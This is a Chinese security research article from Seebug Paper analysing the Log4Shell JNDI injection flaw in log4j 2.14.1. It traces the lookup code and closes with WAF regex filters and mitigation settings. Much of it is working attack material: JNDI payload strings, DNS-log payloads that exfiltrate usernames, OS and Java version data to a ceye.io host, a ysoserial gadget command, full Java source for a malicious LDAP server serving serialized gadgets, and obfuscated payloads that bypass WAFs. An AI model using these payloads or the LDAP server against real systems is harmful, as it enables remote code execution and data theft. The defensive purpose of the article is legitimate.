作者:lxraa
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
调试版本:2.14.1
org.apache.logging.log4j.core.net.JndiManager:172
调用栈:
熟悉的lookup,因此log4shell如果要命令执行,需要利用jndi触发的反序列化漏洞,并不是单纯的rce,等价于:
// name可控
String name = "ldap://127.0.0.1:1333/#Exploit";
Context ctx = new InitialContext();
ctx.lookup(name);
关键函数1:
org\apache\logging\log4j\core\lookup\StrSubstitutor.substitute
函数流程如下:
其中prefixMatcher是一个StringMatcher继承自虚类StrMatcher,用来匹配字符串,后面多处用到,他的关键函数定义及作用是
/**
看buffer的pos处是否为指定字符串(初始化时指定,如prefixMatcher的指定字符串为"${"),如果是则返回字符串长度,否则返回0;
**/
public abstract int isMatch(char[] buffer, int pos, int bufferStart, int bufferEnd);
:-
和:\-
进行处理,与漏洞主要逻辑无关,但该处可以用来绕过waf,详见漏洞利用关键函数2:
org\apache\logging\log4j\core\lookup\StrSubstitutor.resolveVariable
这个函数获取StrLookup对${}里的变量进行解析,StrLookup是个接口,Interpolator类间接实现了StrLookup:
public class Interpolator extends AbstractConfigurationAwareLookup ...
public abstract class AbstractConfigurationAwareLookup extends AbstractLookup implements ConfigurationAware ...
public abstract class AbstractLookup implements StrLookup ...
它的lookup方法通过:
前的PREFIX,从Interpolator的一个私有hashmap里决定分配给哪个具体的Lookup处理变量,所有支持的PREFIX有:
对应所有接口的实现在org\apache\logging\log4j\core\lookup\包:
关键函数是lookup(final LogEvent event,final String key);
date:格式化时间:
java:输出本地java语言相关信息:
marker:从event的marker中获取信息,暂不清楚做什么用
ctx:从event的contextData(一个map)中取value
lower:取小写
upper:取大写
jndi:等价与
// name可控
String name = "xxx";
Context ctx = new InitialContext();
ctx.lookup(name);
main:从内存某个map里获取value
jvmrunargs:本意好像是从jvm参数中获取参数,调试中发现初始化的map和strLookupMap中的map不是同一个,原因未知
sys:等价于System.getProperty(xxx)
env:等价于System.env
获取环境变量,可以如下图所示列出本地所有的环境变量
log4j:支持configLocation和configParentLocation两个key,当存在log4j2.xml配置文件时,可以获取该文件的绝对路径,和上级文件夹的绝对路径
常规方法,可以利用dns log探测漏洞是否存在,例:利用ceye探测漏洞是否存在:
logger.error("${jndi:ldap://****.ceye.io/}");
利用sys、env等lookup+dnslog,进行利用环境的信息收集(由于域名中不能存在某些特殊字符,因此不是所有的环境变量都可以利用dnslog带出来),以下是部分windows下利用的payload:
logger.error("${jndi:ldap://${env:OS}.vwva2y.ceye.io/}"); //系统版本
logger.error("${jndi:ldap://${env:USERNAME}.vwva2y.ceye.io/}");//用户名
logger.error("${jndi:ldap://${sys:java.version}.vwva2y.ceye.io/}");//java版本,这个比较关键,因为jndi注入的payload高度依赖于java版本
logger.error("${jndi:ldap://${sys:os.version}.vwva2y.ceye.io/}");//系统版本
logger.error("${jndi:ldap://${sys:user.timezone}.vwva2y.ceye.io/}");//时区
logger.error("${jndi:ldap://${sys:file.encoding}.vwva2y.ceye.io/}");//文件编码
logger.error("${jndi:ldap://${sys:sun.cpu.endian}.vwva2y.ceye.io/}");//cpu大端or小端
logger.error("${jndi:ldap://${sys:sun.desktop}.vwva2y.ceye.io/}");//系统版本
logger.error("${jndi:ldap://${sys:sun.cpu.isalist}.vwva2y.ceye.io/}");//cpu指令集
log4shell的RCE基本等于jndi注入,log4shell可以探测jdk版本,可以根据实际环境选择适当的方法进行rce。jndi注入的利用姿势可以参考:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
以下以1.8.0_261版本下的rce为例:
由于8u191+的jdk不再信任远程加载的类,本例使用ldap entry的javaSerializedData属性的反序列化触发本地的Gadget,利用条件是工程有commons-collections依赖,版本需 <=3.2.1(ysoserial说需小于3.1,实测3.2.1及以下均可使用)
java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "calc" |base64 > pp.txt
package com.lxraa.test.jndi;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.twitter.chill.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
int port = 1333;
String url = "http://127.0.0.1:3000/#Exploit";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "th3wind");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
byte[] bytes2 = Base64.decode("**************");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
e.addAttribute("javaSerializedData", bytes2);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
logger.error("${jndi:ldap://127.0.0.1:1333/#Exploit}");
${lower:J}
logger.error("${${lower:J}ndi:ldap://127.0.0.1:1333/#Exploit}");
总结一下就是截取:-后面的部分,如果存在多个:-则以第一个为准,例如:
func("asdasdasdasd:-x") = "x";
func("asdasdasdasd:-asdasdasd:-x") = "asdasdasd:-x"
如果lookup返回null,则把该${}块替换为这样处理后的字符串,因此可以构造payload:
logger.error("${${anychars:-j}ndi:ldap://127.0.0.1:1333/#Exploit}");
logger.error("${${anychars:-j}ndi${anychars:-:}ldap://127.0.0.1:1333/#Exploit}"); //特殊字符也可替换
*仅提供思路,不保证正则性能,请根据实际生产情况优化
过滤思路:
①如果不存在\$\{(.*):-(.*)\}
,则攻击包中必存在连续关键字,直接过滤所有log4j2支持的lookup:
${date:
${java:
${marker:
${ctx:
${lower:
${upper:
${jndi:
${main:
${jvmrunargs:
${sys:
${env:
${log4j:
② 如果存在\$\{(.*):-(.*)\}
,则文中可能不存在连续关键字,如${${xxxxx:-l}ower:}
,但是log4j2语法只支持大小写转换,不会有编码及替换,因此关键字词序不变,且最多存在大小写混淆,可使用:
// 其他lookup同理
\$(.*?)\{(.*?)[jJ](.*?)[nN](.*?)[dD](.*?)[iI](.*?):
禁止非必须出向流量
高版本JDK的jndi注入利用难度相对较大
参照ysoserial说明文档
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
修改配置 log4j2.formatMsgNoLookups=True
注意:2.10以前版本修改jvm参数无效的
注意依赖包里可能存在有漏洞的log4j-api和log4j-core,需一并排查
参考文章:
https://mp.weixin.qq.com/s/Yq9k1eBquz3mM1sCinneiA
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1788/